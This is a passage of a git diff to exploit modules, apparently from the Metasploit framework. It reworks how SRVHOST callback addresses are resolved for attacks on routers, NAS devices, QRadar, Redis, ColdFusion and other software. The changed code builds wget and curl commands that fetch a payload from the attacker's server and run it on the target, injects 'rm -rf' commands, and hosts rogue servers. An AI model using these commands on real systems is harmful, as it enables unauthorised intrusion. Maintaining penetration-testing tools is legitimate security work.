'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/http/dlink_hnap_login_bof.rb b/modules/exploits/linux/http/dlink_hnap_login_bof.rb index 45abb16b2431c..7674f164a0fe7 100644 --- a/modules/exploits/linux/http/dlink_hnap_login_bof.rb +++ b/modules/exploits/linux/http/dlink_hnap_login_bof.rb @@ -262,8 +262,14 @@ def exploit @elf_sent = false resource_uri = '/' + downfile - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{peer} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb index ebf3d30e6c4a5..aeffec0faf16d 100644 --- a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb +++ b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb @@ -469,10 +469,12 @@ def on_request_uri(cli, _request) # def download_and_run_payload(payload_uri) srv_host = - if datastore['DOWNHOST'].present? + if datastore['DOWNHOST'] datastore['DOWNHOST'] + elsif datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' + Rex::Socket.source_address(rhost) else - srvhost_addr + datastore['SRVHOST'] end srv_port = datastore['SRVPORT'].to_s diff --git a/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb b/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb index 06a63bee6cfad..d492583774726 100644 --- a/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb +++ b/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb @@ -146,10 +146,16 @@ def exploit @payload_name = rand_text_alpha_lower(3..5) root_payload = rand_text_alpha_lower(3..5) - http_service = (datastore['SSL'] ? 'https://' : 'http://') + srvhost_addr + ':' + datastore['SRVPORT'].to_s + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s service_uri = http_service + '/' + @payload_name - print_status("#{peer} - Starting up our web service...") + print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 9dddf84505241..b8a4d68afc292 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -155,8 +155,17 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 'http://' + srvhost_addr + ':' + srvport.to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 2a2b5f9216210..095075cc20b48 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -306,8 +306,17 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb b/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb index 93f16fdec8b3f..6b33b4600e49d 100644 --- a/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb +++ b/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb @@ -214,7 +214,7 @@ def send_path(path) xml += "" - xml += " %#{system_entity}; %#{@xxe_param}; " + xml += " %#{system_entity}; %#{@xxe_param}; " xml += ']' xml += "> &#{@xxe_exfil};" @@ -558,6 +558,10 @@ def setup_module @info = Hash.new @module_setup_complete = true + if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' + fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') + end + start_service({ 'Uri' => { 'Proc' => proc do |cli, req| @@ -605,7 +609,7 @@ def on_request_uri(cli, req) data = Rex::Text.rand_text_alpha_lower(4..8) response = " -\">" +\">" send_response(cli, response) when @url_data @file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, ''))) diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index 32c396ccb9979..245a8035a7890 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -160,8 +160,17 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index ab6cd387edc80..332a79278b470 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -273,8 +273,17 @@ def exploit if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb b/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb index 2bd87d3e7d566..67fb593076ec7 100644 --- a/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb +++ b/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb @@ -167,11 +167,15 @@ def minimal_gguf(arch = 'llama') def start_registry start_service({ 'Uri' => { 'Proc' => method(:on_request_uri), 'Path' => '/' } }) - print_status("Rogue OCI registry on #{Rex::Socket.to_authority(bindhost, bindport)}") + print_status("Rogue OCI registry on #{srvhost_addr}:#{datastore['SRVPORT']}") + end + + def srvhost_addr + datastore['SRVHOST'] end def registry_model_name(namespace) - "#{srvhost_addr}:#{srvport}/#{namespace}/model" + "#{srvhost_addr}:#{datastore['SRVPORT']}/#{namespace}/model" end def on_request_uri(cli, request) diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb index ea0744b89b795..8e8266aa99d00 100644 --- a/modules/exploits/linux/http/railo_cfml_rfi.rb +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -90,7 +90,11 @@ def check end def exploit - url = 'http://' + Rex::Socket.to_authority(srvhost_addr, srvport) + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer') + end + + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s @shell_name = Rex::Text.rand_text_alpha(15) stager_name = Rex::Text.rand_text_alpha(15) + '.cfm' @@ -163,9 +167,7 @@ def on_request_shell(cli, _request) end def on_request_stager(cli, _request) - url = get_uri(cli) - url << '/' unless url.end_with?('/') - url << @shell_name + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name stager = " { - 'Proc' => proc do |cli, req| - on_request_uri(cli, req, cookie, token) - end, - 'Path' => '/' - } - }) + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') + end - print_status('Cleaning env') - inject_request(cookie, token, 'rm -rf /a') - inject_request(cookie, token, 'rm -rf b') - command = "#{srvhost_addr}:#{srvport}".split(//) - command_space = 22 - "echo -n ''>>/a".length - command_space -= 1 - command.each_slice(command_space) do |a| - a = a.join('') - vprint_status("Staging wget with: echo -n '#{a}'>>/a") - inject_request(cookie, token, "echo -n '#{a}'>>/a") + begin + print_status('Attempting Login') + cookie, token = login + + start_service({ + 'Uri' => { + 'Proc' => proc do |cli, req| + on_request_uri(cli, req, cookie, token) + end, + 'Path' => '/' + } + }) + + print_status('Cleaning env') + inject_request(cookie, token, 'rm -rf /a') + inject_request(cookie, token, 'rm -rf b') + command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//) + command_space = 22 - "echo -n ''>>/a".length + command_space -= 1 + command.each_slice(command_space) do |a| + a = a.join('') + vprint_status("Staging wget with: echo -n '#{a}'>>/a") + inject_request(cookie, token, "echo -n '#{a}'>>/a") + end + print_status('Requesting payload pull') + register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b') + register_file_for_cleanup('/a') + inject_request(cookie, token, 'wget -i /a -O b') + # at this point we let the HTTP server call the last stage + # wfsdelay should be long enough to hold out for everything to download and run + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end - print_status('Requesting payload pull') - register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b') - register_file_for_cleanup('/a') - inject_request(cookie, token, 'wget -i /a -O b') - # at this point we let the HTTP server call the last stage - # wfsdelay should be long enough to hold out for everything to download and run - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end diff --git a/modules/exploits/linux/http/vmware_vrli_rce.rb b/modules/exploits/linux/http/vmware_vrli_rce.rb index fd70f3c41e2ea..7d1ad86adde8b 100644 --- a/modules/exploits/linux/http/vmware_vrli_rce.rb +++ b/modules/exploits/linux/http/vmware_vrli_rce.rb @@ -246,6 +246,9 @@ def on_request_uri(cli, _request) end def exploit + # This is an important check... + fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/ + # Step 1 generate malicious TAR archive file_name = Rex::Text.rand_text_alpha(7) pak_name = "#{file_name}.pak" @@ -280,7 +283,7 @@ def exploit thrift_client.call('getNodeType', Rex::Proto::Thrift::ThriftData.stop) # Step 3 download the malicious pak - server_url = "http://#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT'])}/#{file_name}.tar" + server_url = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar" print_status 'Sending RemotePakDownloadCommand...' thrift_client.call( 'runCommand', diff --git a/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb b/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb index 494de025bcf69..d72adb47d83d1 100644 --- a/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb +++ b/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb @@ -85,7 +85,7 @@ def build_discover_packet(hn, user, inf, func) def discover server_sock = Rex::Socket::Udp.create( - 'LocalHost' => srvhost, + 'LocalHost' => datastore['SRVHOST'], 'LocalPort' => datastore['SRVPORT'], 'Context' => { 'Msf' => framework, diff --git a/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb b/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb index c13ff29bdf411..711994d1fc060 100644 --- a/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb +++ b/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb @@ -186,7 +186,7 @@ def exploit uuid = SecureRandom.uuid ldap_port = datastore["SRVPORT"] - ldap_host = srvhost + ldap_host = datastore["SRVHOST"] ldap_external_host = datastore["LDAPHOST"] command = payload.encoded diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb index ddaf2cee562a9..45a9d1fc6b8c9 100644 --- a/modules/exploits/linux/misc/opennms_java_serialize.rb +++ b/modules/exploits/linux/misc/opennms_java_serialize.rb @@ -84,8 +84,15 @@ def exec_command(cmd) def wget_payload resource_uri = '/' + @dropped_elf - service_url = 'http://' + srvhost_addr + ':' + srvport.to_s + resource_uri - vprint_status("#{peer} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + + vprint_status("#{peer} - Starting up our web service on #{service_url} ...") start_service( 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) diff --git a/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb b/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb index b537a18325ec8..caf84230f81cd 100644 --- a/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb +++ b/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb @@ -336,8 +336,12 @@ def on_request_uri(cli, _request) end def exploit + if (datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::') + fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST") + end + if datastore['SSL'] - fail_with(Failure::Unknown, 'SSL is not supported on this target, please disable it.') + fail_with(Failure::Unknown, 'SSL is not supported on this target, please disable it') end print_status("Attempting to exploit #{target.name}") @@ -352,24 +356,25 @@ def exploit [rand(0xff), rand(0xff), rand(0xff), rand(0xff)].pack('C*') + # serial number, can by any value [0x5A, 0x6B, 0x7C, 0x8D].pack('C*') # Checksum placeholder + srv_host = datastore['SRVHOST'] + srv_port = datastore['SRVPORT'] @cmd_file = rand_text_alpha_lower(1) payload_file = rand_text_alpha_lower(1) # generate our payload executable @payload_exe = generate_payload_exe - resource_uri = "/#{payload_file}" - # Command that will download @payload_exe and execute it - download_cmd = "wget http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri};chmod +x #{payload_file};.#{resource_uri}" + download_cmd = "wget http://#{srv_host}:#{srv_port}/#{payload_file};chmod +x #{payload_file};./#{payload_file}" - print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + http_service = "http://#{srv_host}:#{srv_port}" + print_status("Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, - 'Path' => resource_uri + 'Path' => "/#{payload_file}" } }) diff --git a/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb b/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb index 615a43e1daf36..a1252ea962711 100644 --- a/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb +++ b/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb @@ -129,8 +129,14 @@ def send_exploit(exploit_url) end def exploit + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST") + end + print_status("Attempting to exploit #{target.name}") + srv_host = datastore['SRVHOST'] + srv_port = datastore['SRVPORT'] @cmd_file = rand_text_alpha_lower(1) payload_file = rand_text_alpha_lower(1) @@ -143,10 +149,10 @@ def exploit # https:// can't be a substring as the zyxel parser won't be able to understand the URI download_cmd += '-k${IFS}https:`echo${IFS}//`' end - http_service = Rex::Socket.to_authority(srvhost_addr, srvport).to_s - download_cmd += "#{http_service}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};" + download_cmd += "#{srv_host}:#{srv_port}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};" - print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/...") + http_service = "#{srv_host}:#{srv_port}" + print_status("Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/linux/redis/redis_replication_cmd_exec.rb b/modules/exploits/linux/redis/redis_replication_cmd_exec.rb index 0f8c2fdd1099c..1a90166e6ad27 100644 --- a/modules/exploits/linux/redis/redis_replication_cmd_exec.rb +++ b/modules/exploits/linux/redis/redis_replication_cmd_exec.rb @@ -111,6 +111,10 @@ def exploit @module_cmd = 'shell.exec' end + if srvhost == '0.0.0.0' + fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.') + end + # # Prepare for payload. # @@ -130,7 +134,7 @@ def exploit # # Send the payload. # - redis_command('SLAVEOF', srvhost_addr, srvport.to_s) + redis_command('SLAVEOF', srvhost, srvport.to_s) redis_command('CONFIG', 'SET', 'dbfilename', module_file.to_s) ::IO.select(nil, nil, nil, 2.0) @@ -158,8 +162,14 @@ def exploit # We pretend to be a real redis server, and then slave the victim. # def start_rogue_server - socket = Rex::Socket::TcpServer.create({ 'LocalHost' => bindhost, 'LocalPort' => bindport }) - print_status("Listening on #{Rex::Socket.to_authority(bindhost, bindport)}") + begin + socket = Rex::Socket::TcpServer.create({ 'LocalHost' => srvhost, 'LocalPort' => srvport }) + print_status("Listening on #{srvhost}:#{srvport}") + rescue Rex::BindFailed + print_warning("Handler failed to bind to #{srvhost}:#{srvport}") + print_status("Listening on 0.0.0.0:#{srvport}") + socket = Rex::Socket::TcpServer.create({ 'LocalHost' => '0.0.0.0', 'LocalPort' => srvport }) + end rsock = socket.accept vprint_status('Accepted a connection') diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index d78eeda1a4fea..46d2f7d037d19 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -111,14 +111,23 @@ def exploit if (datastore['DOWNHOST']) service_url_payload = datastore['DOWNHOST'] + resource_uri else + # Needs to be on the port 80 if datastore['SRVPORT'].to_i != 80 fail_with(Failure::Unknown, 'The Web Server needs to live on SRVPORT=80') end - service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri - service_url_payload = srvhost_addr + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + service_url_payload = srv_host + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb b/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb index 87c0f2587e84b..8ced4df1fd0e1 100644 --- a/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb +++ b/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb @@ -200,8 +200,15 @@ def trigger_urlclassloader cf_url = Rex::Text.rand_text_alpha_lower(4) + srvhost = datastore['SRVHOST'] + + # Ensure SRVHOST is a routable IP address to our RHOST. + if Rex::Socket.addr_atoi(srvhost) == 0 + srvhost = Rex::Socket.source_address(rhost) + end + # Create a URL pointing back to our HTTP server. - cfc_payload = "" + cfc_payload = "" cf_reflectarray = Rex::Text.rand_text_alpha_lower(4) diff --git a/modules/exploits/multi/http/bassmaster_js_injection.rb b/modules/exploits/multi/http/bassmaster_js_injection.rb index c1a767ec3664a..47828f6b42960 100644 --- a/modules/exploits/multi/http/bassmaster_js_injection.rb +++ b/modules/exploits/multi/http/bassmaster_js_injection.rb @@ -142,9 +142,15 @@ def start_http_server @elf_sent = false downfile = rand_text_alpha(8 + rand(8)) resource_uri = "\\x2f#{downfile}" + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end - @service_url = "http:\\x2f\\x2f#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + @service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}" + service_url_payload = srv_host + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/multi/http/cacti_graph_template_rce.rb b/modules/exploits/multi/http/cacti_graph_template_rce.rb index 1c116167e8b6b..f159dfc0cbe78 100644 --- a/modules/exploits/multi/http/cacti_graph_template_rce.rb +++ b/modules/exploits/multi/http/cacti_graph_template_rce.rb @@ -39,7 +39,7 @@ def initialize(info = {}) ], 'References' => [ [ 'URL', 'https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py'], - [ 'GHSA', 'fxrq-fr7h-9rqq'], + [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq'], [ 'CVE', '2025-24367'], ], 'Privileged' => false, @@ -278,15 +278,18 @@ def authenticate end end - def validate - super + def validate_configuration! + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') + end - if Rex::Socket.is_ipv6?(srvhost_addr) - raise Msf::OptionValidateError({ 'SRVHOST' => 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.' }) + if Rex::Socket.is_ipv6?(datastore['SRVHOST']) + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.') end end def exploit + validate_configuration! authenticate hosted_payload_name = Rex::Text.rand_text_alpha_lower(1) start_service('Path' => "/#{hosted_payload_name}", 'ssl' => false) @@ -305,7 +308,7 @@ def exploit vprint_status("Payload execution command: #{execute_payload_command}") # upload_payload_command must not exceed 47 characters or the exploit will fail, this is why 1 character payload names are used, SSL is disabled and IPv6 addresses for SRVHOST are not supported - upload_payload_command = "curl\\x20#{srvhost_addr}\\x3a#{srvport}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}" + upload_payload_command = "curl\\x20#{datastore['SRVHOST']}\\x3a#{datastore['SRVPORT']}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}" fail_with(Exploit::Failure::BadConfig, "The generated upload command length of: #{upload_payload_command.length}, exceeds the 47 character limit, please attempt to shorten either SRVHOST or SRVPORT") if upload_payload_command.length > 47 upload_stage(upload_payload_command) execute_stage(execute_payload_command) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 2468af39ae6ec..280c1dd6f7e79 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -96,7 +96,9 @@ def initialize(info = {}) OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]), OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]), + OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]), OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']]) + ] ) end @@ -158,8 +160,8 @@ def exploit # UPLOAD # resource_uri = '/' + app_base + '.war' - service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" - print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}#{resource_uri}...") + service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/multi/http/log4shell_header_injection.rb b/modules/exploits/multi/http/log4shell_header_injection.rb index c48cb3b0bfb82..d372bde1ba9f4 100644 --- a/modules/exploits/multi/http/log4shell_header_injection.rb +++ b/modules/exploits/multi/http/log4shell_header_injection.rb @@ -112,7 +112,7 @@ def check_options end def resource_url_string - "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(srvhost_addr, datastore['HTTP_SRVPORT'])}#{resource_uri}" + "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}" end # @@ -284,7 +284,11 @@ def start_http_service(opts = {}) netloc = opts['ServerHost'] || bindhost http_srvport = (opts['ServerPort'] || bindport).to_i if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443) - netloc = Rex::Socket.to_authority(netloc, http_srvport) + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{http_srvport}" + else + netloc = "#{netloc}:#{http_srvport}" + end end print_status("Serving Java code on: #{proto}://#{netloc}#{uopts['Path']}") diff --git a/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb b/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb index d1e3be3ed91f5..a93177cea9ea8 100644 --- a/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb +++ b/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb @@ -212,11 +212,11 @@ def trigger_http_request(exploit_data) 'data' => "request=#{Rex::Text.uri_encode({ 'connectionType' => 'ftp', 'configuration' => { - 'host' => srvhost_addr, + 'host' => datastore['SRVHOST'], 'username' => exploit_data[:user], 'initialDirectory' => '/', 